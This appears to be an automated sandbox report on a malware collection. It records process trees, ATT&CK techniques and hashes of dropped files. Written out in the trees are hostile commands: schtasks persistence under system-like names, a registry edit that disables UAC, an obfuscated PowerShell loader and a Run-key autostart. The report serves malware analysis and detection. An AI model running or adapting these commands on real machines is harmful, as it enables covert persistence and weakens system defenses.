schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft Sync Framework\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Sync Framework\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft Sync Framework\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Windows\AppPatch\it-IT\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\AppPatch\it-IT\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Windows\AppPatch\it-IT\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 7 /tr "'C:\Windows\IME\ja-JP\Client.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Client" /sc ONLOGON /tr "'C:\Windows\IME\ja-JP\Client.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 9 /tr "'C:\Windows\IME\ja-JP\Client.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Microsoft.NET\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft.NET\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2636

C:\Users\Admin\Desktop\My-Skidded-malwares-main\CRINGE-DO-NOT-RUN.exe
"C:\Users\Admin\Desktop\My-Skidded-malwares-main\CRINGE-DO-NOT-RUN.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:1660
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1660 -s 152
  2⤵
  - Program crash
  PID:1144

C:\Users\Admin\Desktop\My-Skidded-malwares-main\DAMK.exe
"C:\Users\Admin\Desktop\My-Skidded-malwares-main\DAMK.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1600

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\My-Skidded-malwares-main\Dell_Fuck.vbs"
1⤵
PID:2116

C:\Users\Admin\Desktop\My-Skidded-malwares-main\Discord Expliot Kit.exe
"C:\Users\Admin\Desktop\My-Skidded-malwares-main\Discord Expliot Kit.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:2536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa C:\Users\Admin\AppData\Local\Temp\64.cab /quiet /extract:C:\Windows\system32\migwiz\ & exit
  2⤵
  PID:1984
- - C:\Windows\system32\wusa.exe
    wusa C:\Users\Admin\AppData\Local\Temp\64.cab /quiet /extract:C:\Windows\system32\migwiz\
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:2236
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\888.vbs"
  2⤵
  PID:2064
- - C:\Windows\System32\migwiz\migwiz.exe
    "C:\Windows\System32\migwiz\migwiz.exe" C:\Windows\System32\cmd.exe /c C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:1848
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:2016
    - - C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        Modifies registry key
        
        PID:2084

C:\Users\Admin\Desktop\My-Skidded-malwares-main\driverupdate_report_windows_10_22h2.txt.exe
"C:\Users\Admin\Desktop\My-Skidded-malwares-main\driverupdate_report_windows_10_22h2.txt.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2976
- C:\Users\Admin\AppData\Local\Temp\7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe
  "C:\Users\Admin\AppData\Local\Temp\7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  PID:2056
- C:\Users\Admin\AppData\Local\Temp\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
  "C:\Users\Admin\AppData\Local\Temp\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:2176
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:952
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Archcharlatan" /t REG_EXPAND_SZ /d "%Gibblegabbler52% -windowstyle minimized $Loveability=(Get-ItemProperty -Path 'HKCU:\Torturredskabet\').Vandskien;%Gibblegabbler52% ($Loveability)"
        5⤵
        
        PID:2264
- C:\Users\Admin\AppData\Local\Temp\BlueScreen.exe
  "C:\Users\Admin\AppData\Local\Temp\BlueScreen.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3032
- C:\Users\Admin\AppData\Local\Temp\CirnoBackdoorLOL.exe
  "C:\Users\Admin\AppData\Local\Temp\CirnoBackdoorLOL.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1568
- - C:\Users\Admin\AppData\Local\Temp\~De867E.tmp
    C:\Users\Admin\AppData\Local\Temp\~De867E.tmp _$PID:116 _$EXE:C:\Users\Admin\AppData\Local\Temp\CirnoBackdoorLOL.exe _$CMDLINE:
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2792
  - - C:\Users\Admin\AppData\Local\Temp\CirnoBackdoorLOL.exe
      C:\Users\Admin\AppData\Local\Temp\\CirnoBackdoorLOL.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:328
  - - C:\Users\Admin\AppData\Local\Temp\javawvd.exe
      C:\Users\Admin\AppData\Local\Temp\javawvd.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:1988
- C:\Users\Admin\AppData\Local\Temp\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
  "C:\Users\Admin\AppData\Local\Temp\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
  2⤵
  - Executes dropped EXE
  PID:1316
- C:\Users\Admin\AppData\Local\Temp\cleansaturn.exe
  "C:\Users\Admin\AppData\Local\Temp\cleansaturn.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1276
- C:\Users\Admin\AppData\Local\Temp\error.exe
  "C:\Users\Admin\AppData\Local\Temp\error.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1680
- C:\Users\Admin\AppData\Local\Temp\concos_1.6.exe
  "C:\Users\Admin\AppData\Local\Temp\concos_1.6.exe"
  2⤵
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  PID:2312
- C:\Users\Admin\AppData\Local\Temp\colorful screen darkener.exe
  "C:\Users\Admin\AppData\Local\Temp\colorful screen darkener.exe"
  2⤵
  - Executes dropped EXE
  PID:1048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
734B

MD5
59d819a2aca46efac3b21310081b082c

SHA1
74166ca22b5ff4eb0b30562ca425561508948704

SHA256
7ba515b4e4a211fafb51b67248937a8a645005099ce0693c2d459c3e45f9d8ea

SHA512
e76e93971c8db24f0f903acf93d5002c165face0a596001d578a2316ba586439fb6c0c2ce352853ca59042378a0f06561c2facc8d09f356d61d566b87970587d

Download Submit
C:\Users\Admin\AppData\Local\1231234.exe

Filesize
37KB

MD5
8f00376c7ee9fb1653dc2ae09afa5589

SHA1
0005d278c062b496628e9c2a27043e87fc05689e

SHA256
6d2223ee967236cbc2c35809fce753553cfdb0aac7ba34e7087e19d61eecaa18

SHA512
2512a5b67867c7c1cfbc19f7adc7ad56c3a2bf821f0c74341d0e69ee89dc20bbdc9118714d67ada6a846edced58afc6d01b0fe7560f2166e02c9044f85bc00f9

Download Submit
C:\Users\Admin\AppData\Local\690c1b65a6267d6d0b201ba46089aabc.exe

Filesize
608KB

MD5
690c1b65a6267d6d0b201ba46089aabc

SHA1
9eb6859bae82bcf8b9df7cf4fc061cd9155fdc39

SHA256
244f3a2fad1afa232909355901f33cca18ea95444c5d142c7aa308170db5294f

SHA512
cc540851386a3b98227822b2c952a57caf15db4563f9c246b8be5bca0989aaff70e64191d010738db86598d76dd8ad4e59a50965224db9f623edb64f2f8b3e2a

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Desktop\LimitMount.jpg

Filesize
432KB

MD5
bab5203fc5fda244fc3351a0de4f17cc

SHA1
26e26c792f33ac591e4ee5154a26c8ddd7335af9

SHA256
bacde9f21ec0f9c03517dabe10405fe2cb01e6dd58168d334ee663154e9c97d7

SHA512
636e87c9cf6e4454da272570d8eef4488e820c6a25a4a9fd7ced56927110298abb1e6371fd89309b94f0c0f65c33a1356c989da71173a8735091bb3b9d6b29b1

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Desktop\MeasureResume.xlsx

Filesize
12KB

MD5
f9e90e72ad97e53dbafcf8b0750f93a9

SHA1
43af96b086dff6ecd46db93ffc60332320598d18

SHA256
326f92a036de4f8dadd26b6e2f15c6e514c984d841e21613d482bbca19744f22

SHA512
3ae89fca42f665c1f41652bdc908a9c0173f730ed77414d594d1882280ca7f23d85ebfcd24c46d1b2bb3b19764274acdba45716480341d51d56a2733c907d212

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Desktop\UnblockComplete.docx

Filesize
332KB

MD5
806e8ca50fb4493a80bfbc1f962ed655

SHA1
0200cf383b1ca2fdee83db18b32018fb9f86b8bf

SHA256
d6f979f4e3f791e41911cf0502783b06beae7baa3c70072e13965b71a7c9e0ce

SHA512
b65e7c09261827361fa44cdb0c0c000cd7ed8e995d3f94ea3052d1a206e3c1ce976e63fc59e731a6501007bee764d22cdfd7dd2b4c72db6e813be2316b0a1643

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Documents\GetAssert.xls

Filesize
1.3MB

MD5
7435340401ffee65a53527f2c93e5be7

SHA1
a4bbbb37c029fb154853b4b7f0d0ad1b68c859dd

SHA256
bedc26e60b6d8c3ed1da0f84ca9f5cd5d43ab371d63a49377eb300c850456a2d

SHA512
2452477aaf11bac034776763a5a9b4aa80a5ed3dfd869f6ed17b096c8aab85440fc7cbcbb733367866837bac6e86718043eb35fee3e91047451111c252aee9d8

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Downloads\BlockEdit.php

Filesize
464KB

MD5
51e168a5f840c5d395ddaa92706353eb

SHA1
3c7668026ac0371ba8731bcac881bccfca0fa4f7

SHA256
d481c2f5936152bb24ffbd0b32782a80a472cf13b9596ab4367604189c7b1cd4

SHA512
ee1914eb13f75bdd73246654bc4f7dad94218abf93dae7dc1296d1b69d3411f0d47189411a916ca549599eb82133336b7cbaaa2c596f05d445ff5f8323b7f834

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Downloads\CompleteWatch.js

Filesize
679KB

MD5
23e9977e19b6a867a9359d14e9a88d97

SHA1
19f6c0c7b7c267ce4a66c3742273ab8d68f09df8

SHA256
5028198e96fb0b5dada75390d30cd106530092260f04fb288e4ef32164b0f516

SHA512
dbbf7ac6ce7fc79ccdb13edc280e4c6956f3f8d18aa12e4c04cbe5b6ab349c573b81e546cc59967a2fcbab5f96437cfef650a61c1c6c8d6318cfcfd932e3e685

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Downloads\HideStop.jpeg

Filesize
639KB

MD5
5d8f68ac7603aeaccb0dff159fb514f8

SHA1
47023a5fbe6bc83fdb814a596c1f415a77592334

SHA256
37da89fadfc1932d3dc9077e2b555ebfe5abab04faa5d5e4e9f2371e151211c6

SHA512
fc63da6c29010e1de5483564ce4cc3f29c37e06a146a86dadf96f9418f9426f21240d3ee2d2359a77746ce88cdb14d792a9d701ae329773845948d76c38c6702

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Pictures\CompressConnect.jpg

Filesize
237KB

MD5
06b1852fe97cd1a40f30df5749580278

SHA1
8887a565577002ab129857aadade403c1c9b5d4f

SHA256
9e2eda9a43b589e7a1eef83257e1ce38d995d901831d9339e44f31f06589abd7

SHA512
85a44c43ace86d62d3668fbe4480ab1147a88c826e55618085e6772938302a69ecab9b8ab793f9d50147ba827872b7568cf7b02d4b6d37fb659b0433559899d4

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Pictures\ProtectFormat.svg

Filesize
217KB

MD5
84ef72491ca4f8048d91634264733eae

SHA1
c39a2b54042f42551ae2e6d7bf8146e7a2d0d99a

SHA256
0b3822105202a138240de5e0d3286e5f9d128ff48353f19f4bd0981b39c85294

SHA512
1a663657b88d813cbe8b3018709b6e5bd23e9c51085027ea5e63161856fed32fc7c9a695595f147767b42d7794bcaa88b36df9322883f6da9803aa9c97a84f4d

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Pictures\RestartSend.jpg

Filesize
159KB

MD5
ab587e9be3cccf4a84255ea110003c4b

SHA1
66bdc5e7e8281f7a3d03a331d5f7d72f74b98b36

SHA256
4f550cc197054fc12ff82a3e391f637fdde8187013f3b4644764b846de7f9cfc

SHA512
01060ba96416354e2ee35bd70a16d9207d86ce3634a608c7a5a94a02e49e12e7f299f91f7a8c7938d13a98e645df2c49839936a209487b2b4afd58f63586f903

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Pictures\RestorePop.bmp

Filesize
111KB

MD5
b63cf5114897ba8ad97d71bb08d1c410

SHA1
bf5d7266d0957c4e03852d2c63652b7dd1bc3e43

SHA256
9ad73bb11656b6bb757b0839c26b26b4ea721f19bf26ac91ffcd548a302f40c3

SHA512
bb206f9efd6547dc81cd3c52e49853d51b2ff6653bcfbe0852645c497c401f7df58f84123b4d1e36091d877ead06412348af6d5f5104c7892cc59bc4b362983d

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Pictures\SkipUnregister.png

Filesize
295KB

MD5
d1619f37a75520147bea3f2da6f692b3

SHA1
7b3995665407c1e7121be30a1d39edce00a593a6

SHA256
834e0c079c1a421d499c6b55da325305b72dd08829f0f6ebd84fbd934c68bb82

SHA512
45516aecf706a34086d49a7e55c109a4c682cd4c7992ff4ca742b56f33144203428db25d2a04ed68bfb1ce01aedae1277b9e12d46eb7f183555d8ee3ddff184c

Download Submit
C:\Users\Admin\AppData\Local\PIDEURYY\FileGrabber\Pictures\TraceUse.png

Filesize
435KB

MD5
ea5cb753e8d55215be1f878226a10501

SHA1
1eb524ac30610e3b61cc298aa1d1809def621d93

SHA256
48ce85adb49c502a8c3a964d4f952f7d5b2f39df624d2262da0299827be2f6fd

SHA512
abb93ee021042dd5e106025931ae205971a23de21e38923281b991326bf09da20eca2a60cafed64d6ab05dc1a501a84d19dd91bb4ce0481d79faa9f60462f828

Download Submit
C:\Users\Admin\AppData\Local\Temp\32.cab

Filesize
47KB

MD5
9dda4db9e90ff039ad5a58785b9d626d

SHA1
507730d87b32541886ec1dd77f3459fa7bf1e973

SHA256
fc31b205d5e4f32fa0c71c8f72ee06b92a28bd8690f71ab8f94ff401af2228fe

SHA512
4cfecaaccd0f8f9e31690ff80cca83edc962e73861043fffded1a3847201455d5adca7c5ef3866c65e6e516205e67b2f31c8149aad5be1065c1eb586b013f86a

Download Submit
C:\Users\Admin\AppData\Local\Temp\7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b.bin.sample.exe

Filesize
65KB

MD5
694efccf0c905305f5c8418499fe335c

SHA1
1fa42976df8d8b1848ac2d99468da3c17785d285

SHA256
7f3bfd0cc61218f8b5bff0850eb3cc9d5eadd7e735f9c0faf1224972c99e253b

SHA512
294fecfb3abb91a9a61001b26acced7a1cc99abb0a140a8bc352b51794e3750b7579b44543d1afde676c0e75ddc6c80c44eb49b959946654bc5f88e0d2b49fcb

Download Submit
C:\Users\Admin\AppData\Local\Temp\BlueScreen.exe

Filesize
9KB

MD5
b01ee228c4a61a5c06b01160790f9f7c

SHA1
e7cc238b6767401f6e3018d3f0acfe6d207450f8

SHA256
14e6ac84d824c0cf6ea8ebb5b3be10f8893449474096e59ff0fd878d49d0c160

SHA512
c849231c19590e61fbf15847af5062f817247f2bcd476700f1e1fa52dcafa5f0417cc01906b44c890be8cef9347e3c8f6b1594d750b1cebdd6a71256fed79140

Download Submit
C:\Users\Admin\AppData\Local\Temp\CirnoBackdoorLOL.exe

Filesize
1.8MB

MD5
55677d2f4f251b558660652002933369

SHA1
804357acd8e75f6a8db9b907a8df882e8588b6bd

SHA256
f714fb12a601649f1e0840a75265337c77683ec64a599f0631d2ba512bcee5f5

SHA512
12343e2ede7dc8534a4682a007ca67b34c287d4e1f7d3565d31860d72d643ad9923b59953571e95c404a9b2951e6bdd4e6e6584f246852f02f53bd832d0bc119

Download Submit
C:\Users\Admin\AppData\Local\Temp\CirnoBackdoorLOL.exe

Filesize
1.6MB

MD5
a42d640eb78c5d5b867abef05e5231d6

SHA1
0b1068a2b47798feb89b917ff4297ab0328c4296

SHA256
73d8301c93c887eedd6777610a37a2b7484ab6b2555b19d241480483324b1952

SHA512
21c3c444db9c20d2faabee48040e06cfb2ff2941151b1a4e004a0e02c48b9fe8de69b0072365395d0bc65433f126e1fb20c10e7d1526192c281c377011f07ae8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Client.exe

Filesize
100KB

MD5
21560cb75b809cf46626556cd5fbe3ab

SHA1
f2eec01d42a301c3caacd41cddb0ef2284dbb5a6

SHA256
d2525bab5cb322933c8978880975e0c189feece68ae3f1951bf46297c7f640fa

SHA512
21eac0037b16f968ee8743b52dc73efdd34d24c2502d090b399a552dc6cb75f7d3090c10d448c66b868b1c4a7c46a5068b084b88b487e40b1e755356cb7557db

Download Submit
C:\Users\Admin\AppData\Local\Temp\DUMmrDSxBU.bat

Filesize
233B

MD5
144a143d81e026db1ac0faa65655afc2

SHA1
bfaf22a44342f2d87885951f8f07afe69b5abedb

SHA256
e14b4dcf0f99c3116df57aa90f8b93f449414e3309f10600511f9749ce9b8d55

SHA512
efd1b3c255ec6b80d176a6346f36d422221a254c43f066cf474abe99d6d46ccbce4387e238ba557996988ef5bc016dce1512652012b19c6f15231cfa567da18d

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SCRIPT~1.EXE

Filesize
210KB

MD5
4ca15a71a92f90c56b53d9d03da17657

SHA1
3d610aee0423eea84ad9dc0df7865e1bed982327

SHA256
ab532f166e08886166c0ed6426bb6a8998de8273d37ccac5823528a1ba3d8ca1

SHA512
e0d9e11b9a0fb84bab21cbe4638ead80319a9b38ed810a59a612ab844331adec32f2499425b0d9269f2eb3714e497ad31c9bdfded1f829533cc77bf2dea6464f

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\script-error.xml

Filesize
19B

MD5
fdb26e74f4d6ca3a02af55b15fcca7f2

SHA1
7d990a1a4062fc3f0ae117dc72f47bcb3ef66425

SHA256
49704e6fd30fc98988f40be963296c81b95662d7f3af605c372cd0344ab78e1b

SHA512
36a82624ee8173bacffdf978e00f9c5ffe96bd6b27ba1230f2891a11bc301908ed6ea790c75669219c7445489806f00ba67eda2ea7346396ca3304e02c6fec7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\script-error.zip

Filesize
308B

MD5
b3609673caf3522ae50fe7b2f69b46f2

SHA1
c14f39aa78398030b84ab6b3d36014483b97a520

SHA256
c2423419d653bf31077eb40ad665590445b5baac4f82948822c8ed55fc009c4d

SHA512
be15ca57e7b80049c35a37f216fb1387b89d68440494c81e7e8b21644dbab8ab161119a37475ad873d144ceae105ec2c61097f0c115f078cde961bc38e6f28b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\svchost.exe

Filesize
152KB

MD5
4b6d4727ca3c277e5af47092ec9e3ef1

SHA1
8faea131181960c1f43ccee6a2b7bcdaa23fcd81

SHA256
5fb62cc6421cf636023381cc6fd5a06e3b326a58ea3d3ce9c879f1cc408519f4

SHA512
8a1814ec549a42771cbe83fe7612d7e269af27d092a5c0ae685e92772dc7effd2b14829090f0b12edfbabeb9804f80558f2b316efb4f48a6a3b500b1172c2bbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\javawvd.exe

Filesize
36KB

MD5
bb13e4ebdcb3e7d6bcd78601fd01b654

SHA1
4165ceda368602fb21495c55a95548b7056f4413

SHA256
55385f8be83a7e193390aa5c3a9a9934e603d6d3d164e5f496ece0ad553e9027

SHA512
48ad4c2e17a7eea58c9c8ca47a68e129f889c117ddcdfffb12cf478f4b40223df1b923367309898de219a2dc7b4e95f470f7297c1d60913c59c8acb4db6f50e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8CA6.tmp.bat

Filesize
173B

MD5
6da1bf17855e2b0196149f6b86d3fbba

SHA1
46dd60a90ee5de23a4a03200e73dd8a2e1d447d8

SHA256
049fb35126f0a04154e4fdc71c05091ece46b499f947580d22741935d99c23a3

SHA512
dfa6f5be211ba98f5346bccbf676dffdbdc718a3074bf327bb03bbf3bbd8bd86fe400e715ccc087b47acbe2b7ea4927be4be131fd53ec53b97b156e67a468397

Download Submit
C:\Users\Admin\AppData\Local\Temp\zzzz.exe

Filesize
320KB

MD5
de4824c195cf1b2bb498511ef461e49b

SHA1
f15ca6d0e02c785cce091dbd716cd43e3f5a80bd

SHA256
51813dfedbe02f03d08b4728187eadb4948d8be40c9d8fe6e4e1cb61fa7ae209

SHA512
b211a636f2799d90ce38348dbbc7dbc69ac5374129c7896a137f03a57fe78139a030c1edb90cfc4203799d77a8720df431da75986aa1d8b16274030ad1db770a

Download Submit
C:\Users\Admin\AppData\Local\a6a1abaf12a28ea8f6553356c3bdcf57.exe

Filesize
874KB

MD5
a6a1abaf12a28ea8f6553356c3bdcf57

SHA1
b7613fb9944bc3d8e11b5eb6f7ff706f04e8ad53

SHA256
f2507211585dfe351ff53086f30b42572db223b2646e45f91b7f3e202bb0bb76

SHA512
e525d119128c1ca1c05d379b9ebba9791b7b15390c8999773bff6517fde674178e17ee2c7c126b249c8c54b4dd1c07326ba24d52c8c192f067bc7e8545113a65

Download Submit
C:\Users\Admin\AppData\Roaming\Lock.Identities

Filesize
8B

MD5
de6fdff1993c731e52e49d52a6e684d9

SHA1
120d1ff8a24109eed24ac1a5697383d50bcc0f47

SHA256
645c2d0cb9f6edf276f7dead9ab8c72531cdae22f54962d174c1339c30cb1b42

SHA512
99d05bf76a3a7466ccf27ac304ba35639716089d8dae388aaa707bfb6feb3f362251a65951663dd86abcac5a5e7358a5f29faedfe4c0b55ae136ba9d8f1209c1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
05a7e56b681c7e4973ee9124320fadd7

SHA1
5d846c5d0c38a7b4fdc5b9667b15e654978df94d

SHA256
dd370a2ecce6a594610d300f7c0d0f6258a33256993d89a84995bd8251b3da2a

SHA512
77dc4d1026c7661eed021ab6298ebbbe90c3a55917e24d49becc8202841f5c769d1eed654778fcf425506dd444e54a95da4af94ae7f2306b07b9c4098d221e5a

Download Submit
\Users\Admin\AppData\Local\0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe

Filesize
446KB

MD5
385585748cd6feff767a913bd76c2457

SHA1
1bedac2bc0da78c4dbaaf3914816d84f5c08f005

SHA256
0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5

SHA512
80619ee207d6c5a352d811405c40bcb9043fb2b2759ad40575e03e9e7b89f4ad55f6bc01dfe62a64b42dcd9b3b5bfef10503ce72f4efa0d2e39546f92047a880

Download Submit
\Users\Admin\AppData\Local\150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe

Filesize
227KB

MD5
1a83a244d9e90a4865aac14bc0e27052

SHA1
d2b65e7aed7657c9915f90f03d46902087479753

SHA256
150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712

SHA512
f4b9d26d8a0841f9425abf038f85563ddee65e2404bc508fd23c8023bb565fd7f0ceaeaadde49c4951d3bbbb93f6b64b3cf610464855a2bf2d418477dd4fe03f

Download Submit
